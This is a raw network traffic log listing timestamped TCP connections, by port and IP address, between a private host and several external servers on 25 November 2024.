Nov 25, 2024 07:53:41.522244930 CET	49830	443	192.168.2.6	2.16.158.59
Nov 25, 2024 07:53:41.522257090 CET	443	49830	2.16.158.59	192.168.2.6
Nov 25, 2024 07:53:41.816976070 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:41.817118883 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:41.837121010 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.837181091 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.837240934 CET	49817	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.846674919 CET	49817	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.846704960 CET	443	49817	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.855242968 CET	49833	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.855287075 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.855355024 CET	49833	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.855520010 CET	49833	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:41.855541945 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:41.936630011 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:41.936714888 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:41.936753035 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:41.936844110 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:41.936856985 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:42.027163982 CET	49835	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.027190924 CET	443	49835	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.027255058 CET	49835	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.028156996 CET	49835	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.028168917 CET	443	49835	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.029974937 CET	49836	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:42.029983997 CET	443	49836	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:42.030231953 CET	49836	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:42.030963898 CET	49836	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:42.030977964 CET	443	49836	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:42.031620026 CET	49837	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.031636953 CET	443	49837	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.031725883 CET	49837	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.032437086 CET	49837	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.032452106 CET	443	49837	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.413930893 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:42.414002895 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:42.414169073 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:42.418102980 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:42.418200970 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:42.418272972 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:42.426439047 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:42.426597118 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:42.426675081 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:42.434809923 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:42.434964895 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:42.435019016 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:42.443180084 CET	443	49710	20.190.147.10	192.168.2.6
Nov 25, 2024 07:53:42.575577974 CET	49710	443	192.168.2.6	20.190.147.10
Nov 25, 2024 07:53:42.754820108 CET	49839	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.754848957 CET	443	49839	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.755048037 CET	49839	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.758275032 CET	49839	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.758291960 CET	443	49839	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.784899950 CET	49843	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:42.784940004 CET	443	49843	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:42.784998894 CET	49843	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:42.785196066 CET	49843	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:42.785213947 CET	443	49843	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:42.800182104 CET	49844	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.800198078 CET	443	49844	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.800251961 CET	49844	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.800546885 CET	49844	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.800563097 CET	443	49844	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.860171080 CET	49835	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.860296965 CET	49839	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.864135027 CET	49846	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.864168882 CET	443	49846	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.864300966 CET	49847	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.864324093 CET	49846	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.864367008 CET	443	49847	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.864430904 CET	49847	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.865072966 CET	49810	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:42.865242004 CET	443	49810	94.245.104.56	192.168.2.6
Nov 25, 2024 07:53:42.865271091 CET	49836	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:42.865307093 CET	49810	443	192.168.2.6	94.245.104.56
Nov 25, 2024 07:53:42.865382910 CET	49843	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:42.865541935 CET	49823	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:42.865616083 CET	49824	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:42.865919113 CET	49830	443	192.168.2.6	2.16.158.59
Nov 25, 2024 07:53:42.866117001 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:42.866138935 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:42.866270065 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:42.866447926 CET	49854	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:42.866456985 CET	443	49854	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:42.866588116 CET	49855	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:42.866596937 CET	443	49855	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:42.866620064 CET	49854	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:42.866667032 CET	49855	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:42.867115021 CET	49837	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.867216110 CET	49844	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.867393017 CET	49859	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.867425919 CET	443	49859	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.867470980 CET	49859	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.867872000 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.867878914 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.867914915 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.868459940 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.868473053 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.868557930 CET	49859	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.868570089 CET	443	49859	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.868972063 CET	49855	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:42.868983984 CET	443	49855	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:42.869107008 CET	49854	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:42.869117022 CET	443	49854	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:42.869287968 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:42.869296074 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:42.869810104 CET	49847	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.869836092 CET	443	49847	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.869904041 CET	49846	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:42.869916916 CET	443	49846	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.903351068 CET	443	49835	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.907335043 CET	443	49830	2.16.158.59	192.168.2.6
Nov 25, 2024 07:53:42.907335043 CET	443	49824	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:42.907340050 CET	443	49843	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:42.907339096 CET	443	49823	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:42.907346010 CET	443	49839	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.907352924 CET	443	49837	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.911334038 CET	443	49836	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:42.911335945 CET	443	49844	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:42.916461945 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:42.918272972 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:42.918297052 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:42.918833017 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:42.918838024 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:42.934957027 CET	443	49827	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:42.935646057 CET	49827	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:42.935663939 CET	443	49827	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:42.936376095 CET	49827	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:42.936381102 CET	443	49827	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:42.975862980 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:42.980094910 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:42.980118036 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:42.980649948 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:42.980654955 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.035160065 CET	49869	443	192.168.2.6	18.165.220.57
Nov 25, 2024 07:53:43.035187006 CET	443	49869	18.165.220.57	192.168.2.6
Nov 25, 2024 07:53:43.035799980 CET	49869	443	192.168.2.6	18.165.220.57
Nov 25, 2024 07:53:43.036107063 CET	49869	443	192.168.2.6	18.165.220.57
Nov 25, 2024 07:53:43.036125898 CET	443	49869	18.165.220.57	192.168.2.6
Nov 25, 2024 07:53:43.057693005 CET	443	49823	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:43.057751894 CET	49823	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:43.060492992 CET	443	49828	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.083409071 CET	49828	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.083440065 CET	443	49828	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.084237099 CET	49828	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.084242105 CET	443	49828	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.107125998 CET	443	49824	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:43.107247114 CET	49824	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:43.158890963 CET	443	49830	2.16.158.59	192.168.2.6
Nov 25, 2024 07:53:43.158948898 CET	49830	443	192.168.2.6	2.16.158.59
Nov 25, 2024 07:53:43.188350916 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:43.188647032 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:43.242825985 CET	443	49836	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:43.242908955 CET	49836	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:43.289757967 CET	443	49837	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:43.289860010 CET	443	49837	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:43.289923906 CET	49837	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:43.289923906 CET	49837	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:43.307254076 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:43.336129904 CET	443	49835	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:43.336194992 CET	49835	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:43.349366903 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.349456072 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.349549055 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.349899054 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.349930048 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.349930048 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.349939108 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.353375912 CET	49872	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.353424072 CET	443	49872	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.353632927 CET	49872	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.353718996 CET	49872	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.353729963 CET	443	49872	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.405239105 CET	443	49827	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.405311108 CET	443	49827	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.405395031 CET	49827	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.405612946 CET	49827	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.405612946 CET	49827	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.405630112 CET	443	49827	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.405642033 CET	443	49827	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.408001900 CET	49873	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.408046007 CET	443	49873	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.408171892 CET	49873	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.409092903 CET	49873	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.409106016 CET	443	49873	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.419202089 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.419267893 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.421447039 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.423578024 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.423599958 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.423607111 CET	49829	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.423614025 CET	443	49829	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.426738024 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:43.426899910 CET	49874	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.426917076 CET	443	49874	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.427453995 CET	49874	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.429394960 CET	49874	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.429404020 CET	443	49874	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.513386011 CET	443	49828	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.513448954 CET	443	49828	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.513518095 CET	49828	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.513813019 CET	49828	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.513829947 CET	443	49828	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.513840914 CET	49828	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.513848066 CET	443	49828	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.516417027 CET	49875	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.516452074 CET	443	49875	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.516695976 CET	49875	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.516908884 CET	49875	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.516923904 CET	443	49875	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.700679064 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.702169895 CET	49833	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.702192068 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.702646971 CET	49833	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:43.702652931 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:43.997952938 CET	49876	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:43.998002052 CET	443	49876	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:43.998137951 CET	49876	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:43.998402119 CET	49876	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:43.998411894 CET	443	49876	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.016071081 CET	443	49839	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.016165972 CET	49839	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.027684927 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.027726889 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.027786016 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.028201103 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.028214931 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.038902044 CET	443	49843	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.038969994 CET	49843	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:44.053070068 CET	443	49844	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.053167105 CET	443	49844	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.053168058 CET	49844	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.053215981 CET	49844	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.084434986 CET	443	49847	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.084691048 CET	49847	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.084703922 CET	443	49847	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.088283062 CET	443	49847	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.088354111 CET	49847	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.098840952 CET	49847	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.098948956 CET	443	49847	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.099189043 CET	49847	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.099204063 CET	443	49847	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.099858999 CET	49878	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.099875927 CET	443	49878	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.099941969 CET	49878	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.100092888 CET	49878	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.100105047 CET	443	49878	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.122261047 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.122565985 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.122581959 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.123651981 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.123729944 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.124699116 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.124804974 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.124828100 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.126410007 CET	443	49846	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.126579046 CET	49846	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.126590967 CET	443	49846	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.128035069 CET	443	49846	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.128088951 CET	49846	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.128344059 CET	49846	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.128422022 CET	443	49846	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.128484964 CET	49846	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.128492117 CET	443	49846	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.153703928 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:44.153759003 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:44.153886080 CET	49833	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:44.154102087 CET	49833	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:44.154114008 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:44.154138088 CET	49833	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:44.154144049 CET	443	49833	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:44.156662941 CET	49879	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:44.156702042 CET	443	49879	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:44.156796932 CET	49879	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:44.156925917 CET	49879	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:44.156939983 CET	443	49879	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:44.167335987 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.168497086 CET	443	49859	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.168919086 CET	49859	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.168940067 CET	443	49859	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.170397043 CET	443	49859	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.170470953 CET	49859	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.170761108 CET	49859	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.170840979 CET	443	49859	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.170917034 CET	49859	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.170926094 CET	443	49859	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.172668934 CET	443	49854	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.172959089 CET	49854	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:44.172970057 CET	443	49854	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.173134089 CET	443	49855	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.173316956 CET	49855	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:44.173333883 CET	443	49855	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.173988104 CET	443	49854	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.174076080 CET	49854	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:44.174086094 CET	49847	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.174097061 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.174103975 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.174360037 CET	443	49855	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.174422979 CET	49855	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:44.175482035 CET	49854	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:44.175545931 CET	443	49854	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.175996065 CET	49855	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:44.176058054 CET	443	49855	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.176368952 CET	49854	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:44.176376104 CET	443	49854	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.176507950 CET	49855	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:44.176515102 CET	443	49855	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.240195990 CET	49846	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.240463972 CET	49854	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:44.260037899 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:44.260139942 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:44.355885029 CET	49859	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.355896950 CET	49855	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:44.355921030 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.517788887 CET	443	49847	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.517955065 CET	443	49847	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.518057108 CET	49847	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.518137932 CET	49847	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.518150091 CET	443	49847	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.565861940 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.565936089 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.566015005 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.566308975 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.566323996 CET	443	49860	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.569574118 CET	443	49846	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.569667101 CET	443	49846	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.569726944 CET	49846	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.571444988 CET	49846	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.571465015 CET	443	49846	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.621699095 CET	443	49859	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.621793032 CET	443	49859	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.621848106 CET	49859	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.622174025 CET	49859	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:44.622193098 CET	443	49859	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:44.625488043 CET	443	49854	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.625551939 CET	443	49854	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.625771999 CET	49854	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:44.625930071 CET	49854	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:44.625943899 CET	443	49854	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.626421928 CET	443	49855	162.159.61.3	192.168.2.6
